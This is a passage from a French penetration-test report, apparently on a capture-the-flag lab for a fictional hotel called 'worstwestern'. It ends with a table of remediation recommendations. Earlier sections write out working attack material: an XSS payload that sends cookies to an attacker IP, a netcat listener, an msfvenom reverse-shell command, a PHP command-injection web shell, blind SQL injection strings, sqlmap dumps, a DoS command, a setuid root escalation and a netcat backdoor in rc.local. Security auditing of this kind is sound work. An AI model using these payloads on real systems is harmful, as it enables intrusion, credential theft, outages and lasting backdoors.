Probabilité d’exploitation Forte (Exploitation facile)

Outils d’exploitation Wireshark ou tcpdump

Malgrés que le site utilise le protocole SSL, l'en-tête de réponse HTTP Strict-Transport-Security (HSTS)
n'est pas activé où mis en place, celle-ci informe les navigateurs que l'accès au site ne doit se faire qu'en
HTTPS et que toute tentative future d'accès par HTTP doit être automatiquement convertie en HTTPS.
Ce qui fait qu' en réalité, la connexion n'est pas sécurisée et les données sont envoyées en texte clair.
En lançant l’outil de capture des paquets circulant dans le réseau, dans notre cas Wireshark, les paquets
émis et reçus entre le client et la machine peuvent facilement être aperçus, preuve que le trafic est non
chiffré.
Avec une vulnérabilité de telle envergure, plusieurs attaques peuvent être mises en place comme : l’attaque
de l’homme du milieu (MITM), attaques de sniffing, DNS Hijacking etc.

Figure 15: Résultat de Wireshark.

26
 2. Faible protection des informations confidentielles et manque de
robustesse des mots de passe

Niveau de criticité Critique.

Impact sur le système Atteinte à la confidentialité.

Probabilité d'exploitation Moyenne.

Outils d’exploitation Nmap, Proxychains4.

La découverte du fichier config.txt vu précédemment, nous a permis d’accéder à quelques informations

telles que l'existence du réseau 192.168.1.0/24 accompagné d’un username et d’un password, comme le
reflète la figure suivante :

Figure 16: Contenu du fichier config.txt

L’exploitation des identifiants recensés précédemment est en vain, cela est certainement dû au fait que le
mot de passe ait été changé comme cité dans le fichier ‘config.txt’.
Ayant en notre disposition le username seulement, une attaque par brute force sur le mot de passe a été
effectuée en utilisant l’outil NMAP grâce à la commande suivante :
nmap –script socks-brute –script-args userdb=login.txt,passdb=/usr/share/seclists/
Password/Leaked-Database/rockyou-75.txt -p 1080 192.168.56.103 -v

27
Après une attente d’environ de 30 minutes, nous avons obtenu le résultat suivant :

Figure 17: Brute force du mot de passe de Prime.

Figure 18: Résultat du brute force du mot de passe .

28
Une fois que nous avons pu casser le mot de passe associé au nom d’utilisateur Prime, nous avons ajouté
la ligne suivante dans le fichier /etc/proxychans.conf de kali :
socks5 192.168.5.103 1080 Prime tinkerbell1

Figure 19: Modification du fichier /etc/proxychains.conf.

En modifiant le fichier comme le montre la figure ci-dessus, ceci nous permet d’atteindre le réseau
192.168.1.0/24 et d’être en interactions avec en utilisant le proxychain.
Avec NMAP, on fait un scan de celui-ci sur des ports communs comme 22, 80, 443 et 1080 comme
ceci :
proxychains nmap -sT -Pn -p 80, 22, 443, 1080 192.168.1.0/24

Le résultat de la commande précédente est illustré dans la figure suivante :

29
 Figure 20: Scan NMAP du réseau 192.168.1.0/24.

Figure 21: Résultat du Scan NMAP sur le réseau 192.168.1.0/24

Comme le montre la figure en haut, le seul hôte actif est celui ayant l’adresse ip 192.168.1.124, avec les
ports 80 (HTTP) et 443 (HTTPS) ouverts.

Sachant que le port 80 est ouvert, nous avons configuré le protocole socks5 en utilisant l’extension Proxy
Toggle (extension de firefox) pour pouvoir y accéder depuis le navigateur :

30
 Figure 22: Configuration du protocole socks5 dans Proxy Toggle.

Avec la configuration précédente, nous avons pu accéder au site hébergé sur l’hôte 192.168.1.124 :

Figure 23: Page de connexion du site hébergé dans l'hôte 192.168.1.124.

31
 3. Cross-site Scripting (XSS) et absence de contrôle d'intégrité sur les
cookies (Session Hijacking)

Niveau de criticité Critique.

Impact sur le système Atteinte à la confidentialité.

Probabilité d'exploitation Moyenne.

Outils d’exploitation Nikto, Netcat, Firefox Cookie Quick Manager, Script Js.

Le cross-site scripting, appelé couramment XSS, est une cyberattaque qui utilise les failles de sécurité des
sites Internet. Le XSS est une injection insidieuse de script sur un site Internet sécurisé. l’injection de ce
code déclenche des actions sur le navigateur, et donc sur l’utilisateur, qui visite la page infectée.

D’après le résultat renvoyé par NIKTO, le site s’est avéré vulnérable aux attaques exploitant la faille XSS.
Nous avons donc injecté le payload suivant dans le champ du login :
<script>var i=new Image;i.src="http://192.168.1.106/?"+document.cookie;</script>

Ce payload permet d’obtenir le cookie de la cible, la démarche était de définir une fausse image et essayer
de la récupérer à partir de l’URL donné tout en l’accompagnant du cookie de la victime.
Une fois le cookie récupéré, on peut détourner la session de l'utilisateur sans avoir besoin des logins
(Session Hijacking attack), la figure suivante montre l’injection faite au niveau de la page.

Figure 24: Injection du Payload.

32
Avant d’envoyer le formulaire, nous avons lancé l’outil netcat pour écouter les échanges se faisant à travers
le port 80 pour essayer de récupérer la valeur du cookie (PHPSESSID) et cela en exécutant la commande
suivante :
“ nc -nlvp 80 “

Figure 25: La requête du login récupérée par netcat.

Nous avons pris la valeur du PHPSESSID et l’avons remplacé en éditant le cookie associé au site
http://192.168.1.124 via l’extension Firefox Cookie Quick Manager comme ceci:

Figure 26: Modification de la valeur du cookie.

33
En actualisant la page http://192.168.1.124, un message apparaît affichant la nouvelle valeur du cookie :

Figure 27: Message indiquant la nouvelle valeur par laquelle le cookie a été modifié.
En cliquant sur ok, Nous avons obtenu une connexion en tant qu’administrateur du site, ce qui nous a
permis d'accéder aux angles couverts par les caméras de l'hôtel, en-voici quelques-uns :

Figure 28: Exemple d’image prise par les caméras 1.

34
Figure 29: Exemple d’image prise par les caméras 2.

Figure 30: Exemple d’image prise par les caméras 3.

35
 Figure 31: Exemple d’image prise par les caméras 4.

Figure 32: Exemple d’image prise par les caméras 5.

En zoomant l’image ci-dessus, on découvre deux informations qui semblent extrêmement confidentielles :

36
 Figure 33: Les informations découvertes à travers les images prises par les caméras.

Ces deux informations sont les suivantes :

- peterg.
- Birdistheword
Nous nous sommes dit que ces deux informations correspondent à des coordonnées de connexion dans la
page prime.worstwetern.com/adminpanel où peterg@worstwestern serait le username et Birthistheword
serait le mot de passe associé.
Dans l’information ‘peterg’, nous avons ajouté ‘@worstwestern.com’ car généralement dans les
entreprises, les @mails suivent le format suivant user@nom_entreprise_ou_bien_site.

Figure 34: Connexion à adminpanel en utilisant les informations récoltées depuis les images.

37
En validant les coordonnées, on accède au tableau de bord de l’administrateur comme le montre la figure
ci-dessous :

Figure 35: Tableau de bord de la page adminpanel.

38
 4. Unrestricted File Upload (Local File Upload) et Command Injection

Niveau de criticité Critique.

Impact sur le système Atteinte à la confidentialité, prise de contrôle partiel.

Probabilité d'exploitation Faible (exploitation difficile).

Outils d’exploitation Metasploit.

Le script Upload permet le transfert des fichiers depuis votre machine qui est le client vers le site qui est le
serveur, mais souvent le script d’upload contient des vulnérabilités.

La vulnérabilité local file upload est une faille permettant d'uploader des fichiers malveillants avec une
extension non autorisée généralement, cette faille est due à la mauvaise configuration du serveur ou à
l'absence complète de sécurité. Elle est considérée comme étant l’une des failles les plus dangereuses.

Grâce à l'exploitation de la vulnérabilité précédente, nous avons pu nous rendre au dashboard de

l'administrateur où cette faille est présente.

Figure 36: L‘onglet préférences du tableau de bord.

En effet, dans l’onglet preferences/Themes on a la possibilité d’importer un thème, ce dernier est constitué
d’un document compressé zip contenant des fichiers qui, une fois chargés dans le serveur, seront
décompressés et qui peuvent être appelés via l’url suivante :

39
 http:// prime.worstwestern.com/theme/dossier_uploadé/chemin_vers_le_fichier
De ce fait, nous avons créé un nouveau thème nommé YuCorp :

Figure 37: Création d’un nouveau thème nommé YuCorp.

Puis nous l’avons exporté pour préserver le même format et la même structure lors de son rechargement
dans le serveur car si l’on charge un fichier zip n’ayant pas la même structure d'arborescence, le message
d’erreur ‘Bad Configuration’ sera affiché.
Avec kali, nous avons généré un Payload permettant d’ouvrir un backdoor au niveau du serveur avec la
commande suivante :
msfvenom -p php/meterpreter_reverse_tcp LHOST=@kali LPORT=4444 -f raw > shell.php

Figure 38: Création d’un payload avec msfvenom

40
 Voici le script php généré après l’exécution de la commande précédente :

Figure 39: Le Payload généré par la commande msfvenom.

Nous avons copié ce payload dans le fichier /themes/yucorp/lang/index.php et avons ajouté les deux lignes
de code suivantes dans le fichier /themes/yucorp/index.php :
- $cmd=system($_GET[‘cmd’]);
- echo “<pre> $cmd </pre>”;

Figure 40: Ajout de commandes dans le fichier index.php

Les deux lignes de codes ajoutées précédemment permettent d'exploiter une vulnérabilité se nommant
Command Injection. Celle-ci nous permet d’injecter des commandes dans l’url qui seront exécutées au
niveau du serveur et d’en récupérer le résultat.

Ensuite nous avons rechargé le document zip au niveau du serveur (après avoir supprimé la version
précédente) via l’option “import theme” comme le montre la figure suivante :

41
 Figure 41: Importation du nouveau thème contenant le Payload.

Pour interagir avec le serveur via une session meterpreter, nous avons lancé msfconsole et l’avons
configuré comme suit :

Figure 42: Configuration msfconsole pour réceptionner une session meterpreter

Une fois l’écoute lancée avec la commande exploit, on accède à notre shell précédemment uploadé sur le
site via l’URL suivant :
http://prime.worstwestern.com/themes/yucorp/lang/index.php

42
 Figure 43: Accès au payload uploadé
Une session meterpreter sera ouverte, nous permettant ainsi d’avoir le contrôle du serveur comme le
montre la figure suivante :

Figure 44: Réception d’une session meterpreter.

Concernant le deuxième fichier “index.php” du répertoire “ /themes/yucorp/index.php “, celui ci permet de

prendre en arguments quelques commandes qui peuvent être exécutées sur le serveur de la cible, comme le
montre les figures suivantes :

43
 Figure 45: Exécution de la commande id côté serveur.

Figure 46: Exécution de la commande ifconfig côté serveur.

Comme le reflète la figure précédente, il s’avère qu’on se trouve encore dans un nouveau réseau, le
192.168.0.0/24.
La configuration du fichier “proxychains.conf” pour permettre l’accès vers ce réseau ne semble pas
fonctionner directement cette fois, d'où la nécessité d’ajouter d’abord une route vers le réseau à travers la
session meterpreter, et cela en utilisant le module “auxiliary/server/socks_proxy” de metasploit comme le
montre la figure suivante :

44
 Figure 47: Ajout d’une route vers le réseau 192.168.0.0.

En utilisant Nmap sur le réseau 192.168.0.0/24, on obtient que seul l’hôte 192.168.0.1 est disponible, et en
lançant un scan plus poussé sur celui-ci, on obtient le résultat suivant :

Figure 48: Scan du host 192.168.0.1

45
 Figure 49: Scan du host 192.168.0.1 (suite 1)

Figure 50: Scan du host 192.168.0.1 (suite 2)

Nous remarquons que les quatres ports : 22, 80, 443, 1080 sont ouverts.

46
Pour accéder au site, on opte pour le port forwarding du site web vers le localhost (127.0.0.1) comme le
montre la figure suivante :

Figure 51: Application du port forwarding.

Après on configure le fichier ”proxychains.conf” comme ceci :

Figure 52: La nouvelle configuration de /etc/proxychains.conf.

Ainsi on a accès au site comme le montre la figure suivante :

47
 Figure 53: Accès au site crm.

Nous avons aussi trouvé le fichier Flag1.txt dans le répertoire /home/qloapps avant qu’on procède à la
découverte du réseau 192.168.0.0/24, voici son contenu :

Figure 54: Contenu du fichier Flag1.txt que nous avons découvert..

48
 5. Boolean Based Blind SQL Injection

Niveau de criticité Critique.

Impact sur le système Atteinte à la confidentialité.

Probabilité d'exploitation Faible (exploitation difficile).

Outils d’exploitation Script Python, sqlmap, proxychains.

L’exploitation de la vulnérabilité précédente nous a permis d’accéder au site crm.worstwestern.com, après

plusieurs manipulations sur les inputs se trouvant sur ce site, il s’est avéré que celui-ci est vulnérable aux
injections SQL basées sur des facteurs booléens.

En effet, dans la page crm.worstwestern.com/forgot-password.php, le résultat de l’injection de la portion de

code SQL suivante dans le champ email, indique la sensibilité du site face à cette technique :
aa’ OR ‘1’=’1

Figure 55: Injection SQL vérifiant la présence de la vulnérabilité.

49
Le serveur, au lieu de signaler que l’email ou le username est incorrect, nous répond que le mot de passe a
été envoyé à l’adresse mail :

Figure 56: Résultat de l’injection SQL précédente.

À ce stade, il faut récolter des informations sur la structure de la base de données avec laquelle le serveur
interagit, nous avons trouvé un fichier nommé crm.sql contenant la structure d’une table user qui
probablement s’agit de la table concernée par les informations de connexion du site :

Figure 57: La structure de la table user dans le fichier crm.sql.

Ce fichier a été trouvé en exécutant l’outil DIRB sur la cible comme le montre la figure en bas :

50
 Figure 58: Exécution de drib sur crm.worstwestern.com,

Afin de vérifier que la table en question s’agit bien de la table user, nous avons injecté la portion suivante :
aa' or (select count(*) from user)>=1#

Figure 59: Vérification de l'existence de la table user.

La prochaine étape consiste à trouver un username ou un email valide (les noms des attributs ont été
connus depuis la figure montrant la structure de la table user), pour cela nous avons effectué plusieurs
tentatives dont la dernière s’est montrée valide (nous avons repris l’@mail de l’utilisateur peterg) :
aa' or (select count(*) from user where email='peterg@worstwestern.com')=1#

51
 Figure 60: L’injection permettant de vérifier la validité de l’email peterg@worstwestern.com.

Et voilà le résultat favorable :

Figure 61: Résultat de l’injection précédente.

La dernière étape dans cette phase est d’essayer de trouver le mot de passe de l'utilisateur associé à l’@
peterg@worstwestern.com. Pour cela et en suivant la même logique, nous avons essayé de construire le
mot de passe caractère par caractère via l'injection suivante :
aa' or SUBSTR((select password from user where email='peterg@worstwestern.com'),1,1)='a'#

52
 Figure 62: L’injection vérifiant si le premier caractère du mot de passe est un ‘a’.

Cette injection permet de vérifier si le premier caractère du mot de passe correspond à un ‘a’, la
vérification se fait en se basant sur la réponse du serveur :

Figure 63: Résultat de l’injection précédente.

De là, on déduit que le premier caractère du mot de passe n’est pas un ‘a’, il faut tester avec les autres
caractères.
Pour celà, nous avons développé un script Python qui permet de repérer tous les caractères du mot de passe
en testant toutes les possibilités à chaque position de ce dernier.
Voici un exemple où l’injection précédente retourne vrai :
aa' or SUBSTR((select password from user where email='peterg@worstwestern.com'),1,1)='T'#

53
 Figure 64: L’injection vérifiant si le premier caractère du mot de passe est un ‘T’..

Et voici le résultat :

Figure 65: Résultat de l’injection précédente.

D’où le premier caractère du mot de passe s’agit d’un ‘T’.

La figure ci-dessous montre le résultat de l’exécution du script python qui permet de trouver tous les
caractères du mot de passe de l’utilisateur (administrateur) peterg :

54
 Figure 66: Le résultat de l’exécution du script Python permettant de trouver tous les caractères du mot de passe.

Le mot de passe de l’administrateur est : TheBirdIsTheWord. Ce dernier va nous permettre à la fois de nous
connecter en tant qu’administrateur dans le site CRM et aussi au compte SSH.

Autre méthode d’exploitation :

À travers cette méthode, nous avons non seulement récupéré le username et le mot de passe de
l'administrateur mais encore, nous avons récolté toutes les informations concernant la base de données et
son contenu. Pour cela nous avons lancé la commande sqlmap suivante pour essayer de découvrir les noms
des bases de données existantes :
proxychains -q sqlmap -u “https://192.168.0.1/forgot-pasword.php” –forms –dbs

Figure 67: Exécution de la commande sqlmap pour récolter les noms des bases de données existantes.

55
Nous avons récupéré les deux noms de base de données suivants :
- crm.
- information_schema.

Figure 68: Résultat de l’exécution de la commande sqlmap précédente pour récolter les noms des BDDs.

L’étape suivante consiste à récolter les noms des tables stockées dans la base de données crm, pour cela
nous avons lancé la commande suivante :
proxychains -q sqlmap -u “https://192.168.0.1/forgot-pasword.php” –forms -D crm –tables –batch

Figure 69: Exécution de la commande sqlmap pour récolter les noms des tables stockées dans crm.

Et nous avons obtenu le résultat suivant :

56
 Figure 70: Résultat de l’exécution de sqlmap pour récolter les noms des tables de la BDD crm .

Après avoir récupéré les noms des tables, notre prochain objectif était de récolter les enregistrements
stockées dans la table user et admin, à cet égard nous avons lancé la commande ci-dessous :
proxychains -q sqlmap -u “https://192.168.0.1/forgot-pasword.php” –forms -D crm –T user, admin –dump

Figure 71: Résultat de l’exécution de la commande sqlmap pour récupérer le contenu des tables user et admin .

Après une attente d’environ de 10 minutes, nous avons obtenu le contenu de la table user où figurent les
informations de connexion de l’administrateur (dans le site et à travers SSH) :

57
Figure 72: Contenu de la table user y compris les informations du compte administrateur (SSH et CRM).

En attendant encore une vingtaine de minutes, nous avons obtenu le contenu de la table admin :

Figure 73: Contenu de la table admin.

58
 6. SQL Injection Authentication Bypass

Niveau de criticité Important.

Impact sur le système Atteinte à la confidentialité et à l’intégrité.

Probabilité d'exploitation Forte (exploitation facile).

Outils d’exploitation Navigateur.

Cette technique consiste à bypasser toute mesure de sécurité appliqué au niveau du form nom d’utilisateur
et mot de passe obligatoires à l'authentification sur le site de crm.

Maintenant qu’on est sûr que le site est vulnérable au SQL Injection, notre but est de déjouer les mesures de
sécurités mises en place pour l’accès au comptes utilisateurs. Par défaut, un compte administrateur est
souvent un compte ayant comme username un nom le démarquant des autres comptes, comme par exemple
: admin, administrateur, administrator..etc. Sur ce, essayons d’y avoir accès sans avoir le mot de passe.

Pour se connecter on se rend au panneau de l'administrateur comme le montre la figure suivante :

Figure 74: Page de l’administrateur de crm.

Dans le champ username, on met admin’# comme username et comme mot de passe on peut soit le laisser
vide ou bien mettre n’importe quoi..comme le montre la figure suivante :

59
 Figure 75: From d’authentification crm

En validant le payload SQL précédent, un accès au compte administrateur du site se fait sans même avoir
connaissance du mot de passe de celui-ci, comme le reflète la figure ci-dessous :

Figure 76: Accès au compte administrateur crm.

60
 7. Missing encryption of sensitive data

Niveau de criticité Critique.

Impact sur le système Atteinte à la confidentialité et à l’intégrité.

Probabilité d'exploitation Forte (exploitation facile).

Outils d’exploitation Sqlmap ou bien une écoute clandestine (via wireshark, tcpdump etc.)

Le fait de stocker les informations sensibles en clair sans chiffrement telles que les mots de passe est un
risque majeur. En effet, non seulement le canal utilisé par le site est non chiffré, de plus les informations en
transit depuis ou vers la base de données ne sont elles aussi pas cryptées, pire encore, les mots de passe des
utilisateurs (et même de l’admin) sont stockés en clair comme montré dans la figure précédente de Sqlmap
(figure 72).

61
 8. DOS Attack

Niveau de criticité Critique.

Impact sur le système Atteinte à la disponibilité.

Probabilité d'exploitation Forte (exploitation facile).

Outils d’exploitation Golden Eye.

En utilisant Goldeneye qui se base sur un trafic HTTP légitime, celui-ci génère un trafic important de
Botnets qui exécutent plusieurs requêtes à destination de notre cible prime.worstwrstern.com .
Notre but est de voir la réaction du site web et des mécanismes de protection contre les attaques DOS
contre ce flux important de requêtes.
La commande exécutée pour déborder le serveur est la suivante :
./goldeneye.py http://prime.worstwestern.com -w 200 -s 2000 -d
Le serveur web ne semble pas gérer le nombre important de requêtes HTTP à son égard. En effet, celui-ci
prend un temps considérable pour répondre allant jusqu'à plus de 1000 ms (carré rouge de la figure
suivante) alors qu’avant le lancement de l’attaque (carré vert de la figure suivante) , celui-ci prend pas plus
de 1 ms afin de répondre. Le fait de maintenir l’attaque précédente quelques minutes, le site web devient
injoignable et donc indisponible à l’utilisateur tant que celle-ci ne s’estompe pas.

Figure 77: Avant et après exécution de Goldeneye.

62
 9. Privilèges minimums à l’exécution de commandes sensibles

Niveau de criticité Critique.

Impact sur le système Atteinte à la confidentialité, prise de contrôle partiel du serveur.

Probabilité d'exploitation Faible.

Outils d’exploitation Meterpreter.

Dans cette étape, nous avons exploité le fait de pouvoir faire une redirection de port (exécuter la commande
portfwd) en étant connecté comme simple utilisateur à travers le payload que nous avons injecté.

En effet, après avoir découvert l’état du port 22 correspondant au service ssh de l’hôte 192.168.0.1 comme
le montre la figure ci-dessous :

Figure 78: Etat du port 22 de l'hôte ayant l’@ 192.168.0.1.

Nous avons fait la redirection de port suivante via la commande :

Portfwd add -L 127.0.0.1 -l 9999 -r 192.168.0.1 -p 22

Figure 79: Redirection de port.

Cette redirection va nous permettre de nous connecter au compte ssh de l'administrateur en utilisant les
informations que nous avons récoltées :
- Username : peterg.
- Password : TheBirthIsTheWord.

63
Nous avons aussi lancé le serveur proxy de Metasploit comme nous l’avons déjà fait (Voir la section de la
vulnérabilité Unrestricted File Upload ).

Au niveau d’un terminal, nous avons établi une connexion ssh à travers :
proxychains4 ssh peterg@192.168.0.1 -p 22

Figure 80: Connexion au compte ssh de l’utilisateur peterg.

En exécutant la commande ls, nous découvrant l'existence du fichier Flag2.txt :

Figure 81: Contenu du fichier Flag2.txt.

64
 10. Directory listing

Niveau de criticité Moyenne.

Impact sur le système Atteinte à la confidentialité.

Probabilité d'exploitation Forte (exploitation facile).

Outils d’exploitation Navigateur

Cette vulnérabilité permet d’exposer de manière inappropriée des informations potentiellement sensibles
aux attaquants. En effet, cela fournit un index complet de toute les ressources situées à l’intérieur du
répertoire, et sa gravité dépend en fonction des fichiers répertoriés..dans notre cas, on a trouvé du code
Javascript, les plugins utilisés et des images confidentielles des utilisateurs et de l’administrateur, comme le
montre la suite de figures suivantes :

Figure 82: Directory listing assets

65
Figure 83: Directory listing admin/assets

Figure 84: Directory listing crm

66
 11. Exposed Admin Login Panels

Niveau de criticité Moyenne.

Impact sur le système Atteinte à la confidentialité.

Probabilité d'exploitation Forte (exploitation facile).

Outils d’exploitation Navigateur

N’étant pas une menace immédiate, la facilité d'accès au panneau de l’administrateur peut simplifier
considérablement la violation du site web par les attaquants surtout que les contrôles d’accès ne sont
limités qu’à la seule combinaison de nom d’utilisateur et mot de passe,comme le montre la figure suivante :

Figure 85:Panneau d’administrateur crm

67
 Figure 86: Panneau d’administrateur prime.

Cette situation permet avec l’attaque par brute force de se connecter avec des informations d'identification
compromises et donc d’avoir un accès au site web en tant qu’administrateur.

68
 12. Élévation de privilège à travers la fonction système Setuid()

Niveau de criticité Critique.

Impact sur le système Atteinte à la confidentialité, prise de contrôle total du serveur.

Probabilité d'exploitation Faible (exploitation difficile).

Outils d’exploitation Interpréteur de commande PHP, SSH

La fonction Setuid() permet de fixer le UserID de l’utilisateur du processus courant, si cette fonction est à
la disposition d’un utilisateur malveillant, celui-ci peut acquérir des privilèges root en fixant son UserID à
celui du root (qui est 0).

En effet, lorsque nous avons établi une connexion SSH, notre objectif à ce niveau était d’essayer de faire un
escalade de privilèges pour pouvoir accéder à d'autres informations confidentielles et avoir le contrôle total
du serveur. Pour cela nous avons exploité la fonction Setuid() en utilisant un interpréteur de commandes
php que nous avons trouvé au niveau du serveur :

Figure 87: L’exécutable php dans le dossier /usr/bin du serveur.

Ensuite nous avons créé une variable contenant le chemin vers le shell que nous voulons ouvrir :
CMD=”bin/sh”

En lançant la commande suivante faisant appel à l’exécutable php et qui permet d’attribuer le UserID du
root (0) à l'utilisateur courant puis de lancer un terminal en tant que root :
/usr/bin/php7.3 -r "posix_setuid(0); system('$CMD');"

69
Nous avons obtenu le résultat suivant :

Figure 88: Escalation de privilèges réussie.

Et voilà, nous avons réussi notre élévation de privilèges, nous avons eu le contrôle total du serveur et aussi,
nous avons découvert un fichier Flag3.txt dans le répertoire /root :

Figure 89: Contenu du fichier Flag3.txt.

70
 13. La non sécurisation du fichier rc.local.
(porte dérobée persistante)

Niveau de criticité Critique.

Impact sur le système Maintenir le contrôle total du serveur même après son redémarrage.

Probabilité d'exploitation Faible (exploitation difficile).

Outils d’exploitation netcat.

Une fois qu’un attaquant ait réussi son escalade de privilège et obtenu un accès root, celui-ci cherchera à
maintenir cet accès même après redémarrage du serveur. Pour cela, il peut modifier le fichier rc.local se
trouvant dans le répertoire /etc en ajoutant la ligne suivante :
/bin/netcat -lvp 4444 -e “bin/sh”
Cette ligne permet d’ouvrir une porte dérobée sur le port 4444 à chaque démarrage système en utilisant
l’outil netcat.
En réalité nous avons recopié le contenu initial du fichier /etc/rc.local dans un nouveau fichier puis nous y
avons ajouté la ligne ci-dessus :

Figure 90: Création d’un nouveau fichier rc.local permettant de lancer netcat au démarrage.

Ensuite, nous avons remplacé l’ancien fichier rc.local par le nouveau :

Figure 91: Remplacer le fichier /etc/rc.local par le nouveau.

71
En redémarrant la machine cible avec la commande reboot, nous avons pu obtenir un accès root
simplement avec la commande netcat suivante et l’@ip de la cible :
nc 192.168.140.130 4444
Et cela, sans devoir passer ni par Metasploit ni par le proxy :

Figure 92 : Écoute netcut sur la cible

72
VI. Recommandations et correctifs
Après avoir étudié les différentes vulnérabilités affectant le réseau et les systèmes, nous proposons au
niveau de ce chapitre des recommandations à suivre afin de faire face ou minimiser le risque.

Nom de la
Recommandations Cout
vulnérabilité

- Activer TLS sur le site (utiliser HTTPS

uniquement)
Trafic en clair - Activer HSTS (HTTP Strict Transport Security) 0 coût
non chiffré - Activez les cookies sécurisés, pour vous assurer (Par l’équipe
technique )
que tous les cookies sont servis avec des traits
sécurisés.

- Vérification de la complexité (Majuscule,

Faible protection Caractères spéciaux, alphanumérique...) des mots
des informations de passe lors de l'inscription d'un utilisateur.
confidentielles et - Vérification d’un email correct (x@y.z).
0 coût
manque de - Filtrage des données affichées dans le site Web. (Par l’équipe
technique )
robustesse des - Empêcher l’accès direct aux fichiers
mots de passe confidentiels via les urls en utilisant un script
php filtrant les requêtes des clients.

- Utiliser les fonctions qui permettent de filtrer les

Le prix du pare-feu
entrées utilisateur suivantes :
WAF varie selon les
Cross-site - htmlspecialchars().
besoins et les
Scripting (XSS) - htmlentities().
caractéristiques
et session. - strip_tags().
du réseau entre 50000
- Installer un pare-feu applicatif (WAF) permettant
DZD et 1000000 DZD
de filtrer le flux http.

- Activer session.cookie_httponly et
0 coût
Absence de session.cookie_secure afin d’empêcher l'accès
(Par l’équipe
contrôle aux cookies stockés à partir des scripts côté technique )

73
d'intégrité sur les client
cookies (cookie - Effectuez une vérification d'identité
stealing) supplémentaire de l'utilisateur au-delà de la clé
de session. Cela inclut la vérification de l'adresse
IP habituelle de l'utilisateur.

Unrestricted File - Lors de l’upload d’un thème, il faut vérifier le

Upload (Local contenu de tous les fichiers php se trouvant dans
0 coût
File Upload) le ZIP et de générer un message d’erreur en cas (Par l’équipe
technique )
d’ajout, de suppression et de modification de
lignes.

Command - Filtrer les entrées utilisateurs. -0 coût (Par l’équipe

technique )
Injection - Installer un pare-feu applicatif.
-Le prix du pare-feu
varie selon les besoins
et les caractéristiques
du réseau entre 50000
DZD et 1000000 DZD

- Filtrer les entrées utilisateur en utilisant la

fonction mysql_real_escape_string().
Boolean Based - Utiliser des entrées préparées pour éviter l’envoi 0 coût
(Par l’équipe
Blind SQL de requête brute au SGBD et éviter le SQL
technique )
Injection dynamique
- Utiliser des pratiques de codage sécurisées.
- Effectuez des analyses régulières.

Missing - Appliquer un mécanisme de chiffrement

0 coût
encryption of respectant les normes de sécurité et chiffrement
(Par l’équipe
sensitive data de donnée à la base de donnée technique )

- Filtrer les saisies de l’utilisateur.

- Faire des contrôles de saisie du username et du
mot de passe.
- Appliquer une politique de verrouillage des
0 coût

74
SQL Injection comptes utilisateurs après un nombre de (Par l’équipe
technique )
Authentication tentatives.
Bypass - Utiliser les requêtes paramétrées (prepared
statements) au lieu de directement concaténer des
chaînes dans les requêtes.

- Mettre à jour le logiciel régulièrement.

- Effectuer une analyse régulière.
- Installer un pare-feu puissant au niveau de votre
entreprise et de le configurer correctement avec
-Le prix de la bande
des règles appropriées.
passante dépend de la
- Augmenter la longueur de la bande passante.
nécessité.
- Installer des systèmes d’alertes et de détection
automatique des trafics importants.
-Le prix d’un
- Prévenir l'usurpation d'adresse IP grâce à des
pare-feu varie selon
DOS Attack règles techniques appropriées (RFC 2267 de
les besoins et les
janvier 1998).
caractéristiques
- Utilisez mod_reqtimeout pour définir des délais
du réseau entre 50000
d'attente pour la réception des en-têtes de requête
DZD et 1000000
HTTP et du corps de la requête HTTP d'un client.
DZD
Si un client ne parvient pas à envoyer les
données d'en-tête ou de corps dans le délai
configuré, une erreur 408 REQUEST TIME OUT
est envoyée par le serveur

- Enlever le droit d’exécution des commandes

Privilèges sensibles de tous les utilisateurs hormis le root
0 coût
minimums à (dans notre cas il s’agit de la commande (Par l’équipe
technique )
l’exécution de portfwd).
commandes - Limiter les exécutables de commandes dans le
sensibles répertoire /bin des utilisateurs.

75
 - Empêcher l’accès direct aux fichiers et aux
0 coût
répertoires confidentiels via les urls en utilisant
(Par l’équipe
Directory listing un script php filtrant les requêtes des clients. technique )
- Modifier le fichier de configuration Apache en
ajoutant l’option ‘options -indexes’ (ou bien
ajouter cette option dans un fichier .htaccess).

- Permettre l’accès aux pages de connexion

0 coût
Exposed Admin d’admin panel qu’en localhost avec une
(Par l’équipe
Login Panels redirection de port ssh. technique )
- Utiliser une authentification à deux facteurs.

- Protéger l’appel système Setuid() en le limitant

Élévation de qu’au root.
0 coût
privilège à travers - Amélioration des politiques de gestion des (Par l’équipe
technique )
la fonction ressources et accès.
système Setuid() - Se baser sur le principe du moindre privilège.
- Désactiver le bit de SetUID sur le fichier binaire
de php.

La non - Vérifier régulièrement le contenu du fichier 0 coût

(Par l’équipe
sécurisation du rc.local.
technique )
fichier rc.local.

Limiter les - Fermer les ports non utilisés sur tout équipement 0 coût
(Par l’équipe
services réseaux réseau.
technique )
disponible

- Définir et mettre en place une passerelle

Entre 4000 DZD
Solution antivirale pour les accès web, cette passerelle
10000DZD
antivirale peut être en hardware ou en software.

- Sensibilisation des employés.

- Former les employés en matière de cybersécurité Dépend de la durée, de
afin de rappeler ou d’acquérir les bonnes l'étendue et du type de

76
 Exposition des pratiques en matière de sécurité informatique, la formation..un prix
données sensibles cette formation peut être soit des Cours en par heure ou par jours
e-learning courts et efficaces que chacun peut peut être envisagé, par
suivre à son rythme ou alors une Formation de exemple : 2500DA/h
groupe pour profiter d’une émulation commune

Tableau 3 : Recommandations, et coûts

Remarque :
Dans le cas où l’entreprise n’a pas une équipe technique, nous proposons de recruter un freelancer dont
son paiement coûte entre 4000 DZD et 10 000 DZD par jour qui prendra la charge de l’équipe technique
et qui assurera la maintenance des sites web.

AZZOUZ
Signature numérique de AZZOUZ
YAMINA
DN : cn=AZZOUZ YAMINA,

YAMINA
o=YuCorp, ou=bureau d'audit,
email=azzzyam9@gmail.com, c=DZ
Date : 2022.02.06 01:54:04 +01'00'

77